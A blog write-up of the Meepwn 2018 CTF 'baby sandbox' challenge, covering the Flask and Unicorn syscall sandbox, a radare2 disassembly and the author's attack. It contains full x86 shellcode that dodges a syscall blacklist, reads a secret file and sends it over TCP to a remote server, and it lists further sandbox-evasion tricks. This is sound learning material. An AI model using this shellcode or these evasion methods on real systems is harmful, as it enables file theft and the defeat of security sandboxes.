B. Hamza
B. Hamza
10 min read

Categories

  • blogpost

Tags

0x00 Preface

I participated with Sec.SE CTF team at Meepwn 2018 CTF. I focussed mainly on the baby pwn challenge. Although I couldn’t get the flag during the competition. I think I was close enough to write a blogpost about this.

0x01 Reconnaissance

The challenge consisted of a Flask based webapplication. The application had the following endpoints:

  • /source: for downloading the python app.py source code.
  • /bin: for downloading the ELF binary.
  • /exploit: to deliver a payload via a POST request in order to exploit the service.
  • /: a simple interface to interact with all above endpoints.

The exploit endpoint is obviously of interest:

@app.route('/exploit', methods=['POST'])
def exploit():
    try:
        data = request.get_json(force=True)
    except Exception:
        return jsonify({'result': 'Wrong data!'})
    
    try:
        payload = b64decode(data['payload'].encode())
    except:
        return jsonify({'result': 'Wrong data!'})
    
    test_i386(UC_MODE_32, payload)
    if session['ISBADSYSCALL']:
        return jsonify({'result': 'Bad Syscall!'})
    try:
        run(['nc', 'localhost', '9999'], input=payload, timeout=2, check=True)
    except CalledProcessError:
        return jsonify({'result': 'Error run file!'})
        
    return jsonify({'result': "DONE!"})

This endpoint accepts a base64 encoded payload, performs a certain test on the payload with test_i386(UC_MODE_32, payload), and if all goes well, passes it to a service listening on localhost:9999.

The test consists of a sandbox written with the Unicorn engine. An engine that emulates CPU instructions. The sandbox hooks into all interrupts, if 0x80 is encountered, then it will check the EAX register for blacklisted syscalls. If that’s the case, the ISBADSYSCALL session variable is set to True which means that the payload won’t be sent to the vulnerable process listening on localhost.

app.secret_key = open('private/secret.txt').read()

ADDRESS = 0x1000000
sys_fork = 2
sys_read = 3
sys_write = 4
sys_open = 5
sys_close = 6
sys_execve = 11
sys_access = 33
sys_dup = 41
sys_dup2 = 63
sys_mmap = 90
sys_munmap = 91
sys_mprotect = 125
sys_sendfile = 187
sys_sendfile64 = 239
BADSYSCALL = [sys_fork, sys_read, sys_write, sys_open, sys_close, sys_execve, sys_access, sys_dup, sys_dup2, sys_mmap, sys_munmap, sys_mprotect, sys_sendfile, sys_sendfile64]

# callback for tracing Linux interrupt
def hook_intr(uc, intno, user_data):
    if intno != 0x80:
        uc.emu_stop()
        return
    eax = uc.reg_read(UC_X86_REG_EAX)
    if eax in BADSYSCALL:
        session['ISBADSYSCALL'] = True
        uc.emu_stop()

def test_i386(mode, code):
    try:
        # Initialize emulator
        mu = Uc(UC_ARCH_X86, mode)

        # map 2MB memory for this emulation
        mu.mem_map(ADDRESS, 2 * 1024 * 1024)

        # write machine code to be emulated to memory
        mu.mem_write(ADDRESS, code)

        # initialize stack
        mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000)

        # handle interrupt ourself
        mu.hook_add(UC_HOOK_INTR, hook_intr)

        # emulate machine code in infinite time
        mu.emu_start(ADDRESS, ADDRESS + len(code))
    except UcError as e:
        print("ERROR: %s" % e)

At the top of the Flask application, an interesting line app.secret_key = open('private/secret.txt').read() hints that we should read a secret.txt file in order to get the flag. Opening the binary ELF file with radare2, we get an idea what the binary does:

➜  baby_sandbox_rev ✗ r2 -A ./bin    # open the ELF binary with radare2 and analyze it
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
 -- The more 'a' you add after 'aa' the more analysis steps are executed.
[0x000005d0]> s main       # seek to main
[0x00000740]> pdf          # print disassembled function;-- main:
┌ (fcn) sym.main 157
│   sym.main (int arg_4h);; var int local_ch @ ebp-0xc
│           ; var int local_4h @ ebp-0x4
│           ; arg int arg_4h @ esp+0x4
│           ; XREFS: CALL 0x00000763  CALL 0x0000077b  CALL 0x00000790  CALL 0x000007a1  CALL 0x000007b2  CALL 0x000007c3
│           0x00000740      8d4c2404       lea ecx, [arg_4h]
│           0x00000744      83e4f0         and esp, 0xfffffff0
│           0x00000747      ff71fc         push dword [ecx - 4]
│           0x0000074a      55             push ebp
│           0x0000074b      89e5           mov ebp, esp
│           0x0000074d      51             push ecx
│           0x0000074e      83ec14         sub esp, 0x14
│           0x00000751      83ec08         sub esp, 8
│           0x00000754      6a00           push 0
│           0x00000756      6aff           push 0xffffffffffffffff
│           0x00000758      6a22           push 0x22                   ; '"'
│           0x0000075a      6a07           push 7
│           0x0000075c      6800010000     push 0x100                  ; "`\b"
│           0x00000761      6a00           push 0
│           0x00000763      e8fcffffff     call 0x764                  ; RELOC 32 mmap
│           0x00000768      83c420         add esp, 0x20
│           0x0000076b      8945f4         mov dword [local_ch], eax
│           0x0000076e      83ec04         sub esp, 4
│           0x00000771      6800010000     push 0x100                  ; "`\b"
│           0x00000776      ff75f4         push dword [local_ch]
│           0x00000779      6a00           push 0
│           0x0000077b      e8fcffffff     call 0x77c                  ; RELOC 32 read
│           0x00000780      83c410         add esp, 0x10
│           0x00000783      83ec04         sub esp, 4
│           0x00000786      6a05           push 5
│           0x00000788      6800010000     push 0x100                  ; "`\b"
│           0x0000078d      ff75f4         push dword [local_ch]
│           0x00000790      e8fcffffff     call 0x791                  ; RELOC 32 mprotect
│           0x00000795      83c410         add esp, 0x10
│           0x00000798      a100000000     mov eax, dword [0]          ; RELOC 32
│           0x0000079d      83ec0c         sub esp, 0xc
│           0x000007a0      50             push eax
│           0x000007a1      e8fcffffff     call 0x7a2                  ; RELOC 32 close
│           0x000007a6      83c410         add esp, 0x10
│           0x000007a9      a100000000     mov eax, dword [0]          ; RELOC 32
│           0x000007ae      83ec0c         sub esp, 0xc
│           0x000007b1      50             push eax
│           0x000007b2      e8fcffffff     call 0x7b3                  ; RELOC 32 close
│           0x000007b7      83c410         add esp, 0x10
│           0x000007ba      a100000000     mov eax, dword [0]          ; RELOC 32
│           0x000007bf      83ec0c         sub esp, 0xc
│           0x000007c2      50             push eax
│           0x000007c3      e8fcffffff     call 0x7c4                  ; RELOC 32 close
│           0x000007c8      83c410         add esp, 0x10
│           0x000007cb      8b45f4         mov eax, dword [local_ch]
│           0x000007ce      ffd0           call eax
│           0x000007d0      b800000000     mov eax, 0
│           0x000007d5      8b4dfc         mov ecx, dword [local_4h]
│           0x000007d8      c9             leave
│           0x000007d9      8d61fc         lea esp, [ecx - 4]
└           0x000007dc      c3             ret
[0x00000740]>

In short, it mmaps a region in memory with (PROT_READ | PROT_WRITE | PROT_EXEC) attributes, payload is read from stdin, mprotect is called to remove the PROT_WRITE attribute and finally the payload gets executed using call eax.

0x02 The attack plan

My basic and naïve approach is as follows:

  1. Send a base64 encoded shellcode over HTTP.
  2. The shellcode should read a file in order to extract the flag.
  3. Since the payload is passed to the process without returning its response over HTTP, we need to communicate back the results via another medium. I chose sockets over TCP to send this data back to my server.
  4. The shellcode should not use any of the blacklisted syscalls in order to bypass the Unicorn sandbox.
  5. Avoid null bytes in the resulting shellcode as it might be interpreted as end of string during the attack.
  6. Setup a remote server that listens on a port to receive the response from the shellcode.

0x03 The attack

To read the content of a file, we need two syscalls: open and read. These two syscalls are not allowed. I found this handy syscall list and scrolled through it. The following two syscalls were of interest openat and readv although they need to be used in a certain way. This took some time to figure out and especially debug. This in combination with socket functions made the assembly code relatively lengthy and challenging for this newbie who’s used to write only helloworld assembly programs. Luckily there was enough space for the shellcode so I didn’t have to optimize the length of the shellcode too much.

BITS 32

section .text
global _start

_start:
    xor eax, eax
    push eax
    push eax
    push 0x7478742e
    push 0x74657263
    push 0x65732f65
    push 0x74617669
    push 0x72702f78
    push 0x6f62646e
    push 0x61737962
    push 0x61622f65
    push 0x6d6f682f ; "/home/babysandbox/private/secret.txt0x00"

    ;int openat(int dirfd, const char *pathname, int flags) syscall 0x127
    mov ax, 0x127
    mov bx, -100   ; AT_FDCWD
    mov ecx, esp   ; from pushes
    xor edx, edx   ; O_RDONLY (0)
    int 0x80

    ; ssize_t readv(int fd, const struct iovec *iov, int iovcnt) syscall 0x91
    mov ebx, eax  ; FD in EBX
    sub esp, 0x78 ; reserve 120 bytes for 
    mov ecx, esp  ;
    mov edi, ecx  ; Save buffer address for later usage
    push 0x78     ; iov_len
    push ecx      ; point to this buffer (*iov_base)
    mov ecx, esp
    push ecx      ; point to iovec struct
    xor eax, eax  
    mov al, 0x91
    inc edx       ; iovcnt = 1
    int 0x80
    mov edx, eax  ; Save the length of the string in edx

    ; int socketcall(int call, unsigned long *args) syscall 0x66
    ; sockfd = socket(socket_family = 2 (PF_INET), socket_type = 1 (SOCK_STREAM), protocol = 0)
    xor eax, eax
    mov al, 0x66 ; sys_socketcall
    xor ebx, ebx
    push ebx      ; push 0 (protocol)
    inc ebx       ; 
    push ebx      ; socket_type = 1 (SOCK_STREAM)
    inc ebx
    push ebx      ; socket_family = 2 (PF_INET)
    dec ebx       ; SYS_SOCKET ebx = 1 
    mov ecx, esp  ; ecx contains reference to socket arguments we just pushed
    int 0x80
    mov esi, eax  ; Save sockfd

    ; int socketcall(int call, unsigned long *args) syscall 0x66
    ; connect(sockfd, &sockaddr, addrlen)    
    xor eax, eax
    mov al, 0x66 ; sys_socketcall
    push DWORD 0x0101017f ; 127.1.1.1 to avoid null bytes, replace this with remote server
    push WORD 0x9cad  ; port 44444
    inc ebx      ; AF_INET = 2
    push bx      ; push AF_INET
    mov ecx, esp ; sockaddr pointer
    push BYTE 16 ; sizeof(sockaddr) = 16
    push ecx     ; pointer to sockaddr
    push esi     ; pointer to sockfd
    mov ecx, esp ; socket arguments to socketcall
    inc ebx      ; SYS_CONNECT, ebx = 3
    int 0x80

    ; int socketcall(int call, unsigned long *args) syscall 0x66
    ; ssize_t send(int sockfd, const void *buf, size_t len, int flags);
    xor eax, eax
    push eax     ; flags = 0
    mov al, 0x66 ; sys_socketcall
    push edx     ; buf_len (previously saved in edx)
    push edi     ; buf
    push esi     ; sockfd
    mov ecx, esp ; socket arguments to socketcall
    mov bl, 0x9  ; SOCKET_SEND
    int 0x80

    ;int exit(0)
    mov al, 1
    xor ebx, ebx
    int 0x80

The secret file was however not in /home/babysandbox/private/secret.txt. I guessed this path since the binary was residing in /home/babysandbox/babysandbox. This basically meant I had to write some shellcode to traverse directories a la ls. This was not as straightforward as it required some fiddling with the getdents syscall. This is also where I failed to write proper assembly code as the output was quite giberish as can be seen in the following screenshot:

missedflag

During the competition, I’ve missed the flag file residing at /flag. I could however find the secret.txt file which unfortunately didn’t contain the flag. The secret file was related to the Flask app itself which was used for crypto purposes. After the competition has ended, I’ve improved the two assembly programs which can be found at readdir and readfile in order to list a directory and extract the flag properly. The resulting shellcode is null-free:

nullfree

0x04 Conclusion

Although I couldn’t extract the flag during the competition, I think the challenge offered some great learning experience. For one, writing the assembly code, diving into linux manuals and debugging the program was worth it. This however kind of made me “stubborn” so to say to suggestions. Gilles pointed out the possibility of using sysenter since the sandbox only checked for int 0x80. He even provided a link with a fully working example. I didn’t look into this solution as I already spent too much time on my own approach and felt that I was close enough. It turns out that I still had to write the directory listing program from scratch.

Another approach was to use execveat. I didn’t opt for this solution because I was afraid that the remote server wouldn’t support it. According to the documentation:

VERSIONS

execveat() was added to Linux in kernel 3.19. GNU C library support is pending.

CONFORMING TO

The execveat() system call is Linux-specific.

To make things worse, even my own Vagrant pwnbox setup didn’t support it. I quickly dropped this idea.

After the CTF ended, it is always nice to read other writeups and see how other people solved the challenge. This particular writeup shows how the stack setup is different in the sandbox environment (Unicorn emulator) compared to when its executed outside of it. A simple if statement would allow us to detect whether we’re inside a sandbox and exit if that’s the case. This means that all the conventional syscalls can be used outside of the sandbox. Another approach was to switch to x64 mode and use syscall instead.

Now you know.